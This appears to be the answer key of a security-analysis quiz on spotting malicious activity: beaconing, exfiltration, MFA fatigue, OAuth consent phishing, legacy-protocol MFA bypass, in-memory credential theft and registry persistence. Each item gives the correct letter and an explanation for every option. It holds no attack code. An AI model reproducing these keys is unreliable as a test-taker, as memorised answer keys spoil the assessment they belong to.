Indicators of malicious activity

Key: D

1. AHuman browsing is bursty and irregular, not a steady call-out every 18–23 seconds.
2. BScheduled backups run at fixed, infrequent times and move large amounts of data, which looks nothing like small callbacks every 20 seconds.
3. CUpdate checks usually run every few hours or once a day against known vendor servers, far less often than every 20 seconds.
4. DCorrect: The gaps are about 20 seconds with small random variation (21, 18, 23, 19 s), which matches C2 beaconing with jitter added to avoid exact-interval detection.

Key: A

1. ACorrect: 12 GB going to an external address over 443, just outside the 02:00 backup window, doesn't match the known backup pattern and looks like exfiltration hidden in encrypted web traffic.
2. B45 GB at exactly 02:00 to an internal 10.x host over SSH matches the scheduled backup to an internal target.
3. C180 MB to an internal 192.168.x host is a small, internal transfer and is far weaker evidence of data leaving the organization.
4. DThis flow is inbound from the outside, so it brings data in; it can't be data leaving the network.

Key: B

1. ASession 2 goes to a SaaS vendor API with a trusted issuer and modest outbound volume.
2. BCorrect: session 3 runs for over three hours, sends about 12.5 MB out and presents a certificate from an unknown CA on an odd CDN-style name, which together point to tunneling or exfiltration even though the payload is encrypted.
3. CSession 4 is a corporate login host with a DigiCert certificate and ordinary duration and volume.
4. DSession 1 is short traffic to a search site with a trusted issuer and normal byte counts.

Key: C

1. AE4 comes from 172.16.0.5, which sits inside its approved 172.16.0.0/16 range, so it matches the runbook.
2. BE1 comes from 10.0.5.50, inside its approved 10.0.5.0/24 subnet, so the snapshot fits the runbook.
3. CCorrect: SecAuditRole was assumed from the public address 203.0.113.45, outside its approved 10.0.0.0/8 range, so this is the only event that breaks the runbook and should be treated as unauthorized use of the role.
4. DE2 comes from 192.168.1.15, inside its approved 192.168.1.0/24 subnet, so the code update matches the runbook.

Key: B

1. AThe question is about misreading who performed an action, and decoding a network payload has nothing to do with telling a human console login from an API call.
2. BCorrect: The same API action can come from an interactive user or from an automated role or access key, so skipping the check of principal type can turn automated API use into a false 'logged into the console' finding.
3. CGeographic origin shows where the request came from but cannot tell an interactive console login from an API call.
4. DMatching a user agent to the wrong IP is a correlation error, yet the misattribution here concerns the type of principal instead of the source address.

Key: D

1. A08:12:05 is a denied push, so no session was created at that point.
2. B08:12:01 is only the password step; MFA was still required, so there was no active session yet.
3. C08:14:22 is a later use of the already-issued token from another IP and device, so it happens after access was gained and is not the moment MFA was defeated.
4. DCorrect: After two denied pushes, the push approved at 08:12:07 from the same unknown device is the MFA-fatigue success that gives the attacker an active session.

Key: C

1. AA manual backup would go to corporate storage and would not need a newly consented third-party app with tenant-wide file access.
2. BCredential stuffing gives access to the account itself, while the telemetry here shows a third-party app being granted permissions without any password login.
3. CCorrect: A.Smith granted an unfamiliar app ('PDF_Converter_Pro') the broad Files.ReadWrite.All scope, then 450 GB left, which is the pattern of OAuth consent phishing.
4. DA PDF converter has no routine reason to sync hundreds of gigabytes, and the volume is far above the other apps.

Key: D

1. AThe log shows no SMS or one-time code, only push or MFA timeouts and denials, then a login with no MFA at all.
2. BSession hijacking reuses an existing authenticated session, but here a fresh login succeeded over a different protocol.
3. CA persistent browser token would show up as a browser session, but the successful access came from a mail client over IMAP.
4. DCorrect: After the browser (SAML) logins failed at MFA, the attacker logged in over IMAP, a legacy protocol where MFA was not enforced, which is why legacy authentication should be blocked.

Key: B

1. ALateral movement means moving from one system to others; the stem describes gaining higher rights after a low-level account is compromised.
2. BCorrect: privilege escalation is turning a low-level foothold into higher access such as administrator or root.
3. CDefense evasion, which ATT&CK v19 splits into Stealth and Defense Impairment, is about hiding from or disabling security controls; it does not raise an account's privileges.
4. DCommand and control is how the attacker talks to compromised systems; raising access level is privilege escalation.

Key: D

1. AOutbound flow records show network movement and cannot reveal credential theft carried out entirely in memory.
2. BA new scheduled task is a persistence artifact written to disk, which in-memory-only credential theft by definition avoids.
3. CDisk logs of file changes miss attacks that never touch disk, which is exactly what memory-only theft is.
4. DCorrect: In-memory credential theft shows up as unusual access to the LSASS process and as stolen or forged Kerberos tickets in memory, so you need memory analysis to see it.

Key: C

1. ASQL injection shows up as odd queries and database errors in application logs, and it does not usually drive sustained high CPU.
2. BPhishing is a social-engineering delivery method spotted in email and user reports; it doesn't by itself drive up server CPU.
3. CCorrect: Cryptomining (cryptojacking) uses the victim's processor to mine coins, so unexplained, sustained high CPU usage is a classic sign of it.
4. DA man-in-the-middle attack shows up as traffic anomalies such as certificate warnings or ARP/DNS spoofing, with no reason to push server CPU high.

Key: A

1. ACorrect: TCP 3389 is the Remote Desktop Protocol port, so repeated connection attempts across many machines suggest RDP brute forcing or password spraying.
2. BSQL injection travels through web application input to a database and would never appear as connection attempts to port 3389.
3. CEmail-borne malware arrives through mail, so it does not explain repeated inbound attempts to the RDP port.
4. DFTP uses ports 20 and 21; attempts on 3389 target RDP.

Key: B

1. AA keylogger records keystrokes as software or a small hardware dongle on a computer, which is a different thing from an unknown phone on the guest Wi-Fi.
2. BCorrect: An unknown, unmanaged device found in a restricted area is a rogue device, whatever network it is joined to.
3. CA firewall is a security control that filters traffic, so it cannot be the unidentified device.
4. DPhishing is a deceptive message designed to trick users, and nothing about it involves a physical device found on the premises.

Key: A

1. ACorrect: A program listening on a port that no administrator installed is an unauthorized listening service, often a backdoor waiting for inbound connections.
2. BUnusual outbound traffic is about data leaving the host, while the stem describes a port opened for incoming connections.
3. CUnrecognized processes is a host-based indicator; the stem asks for the network-related one, which is the open listening port.
4. DAn unexpected shutdown is an availability symptom and has nothing to do with a program listening on a port.

Key: C

1. AWriting a temp file in AppData is a typical dropper step, but a temp file alone doesn't make the malware run again after reboot.
2. BA mutex keeps the malware from running twice on the same host; it coordinates execution but does not make the malware survive a reboot.
3. CCorrect: Writing a value under ...\CurrentVersion\Run makes the program start at every user logon, a classic persistence technique (registry run keys).
4. DTouching kernel32.dll is ordinary system library access that almost every Windows program does, so it proves no persistence.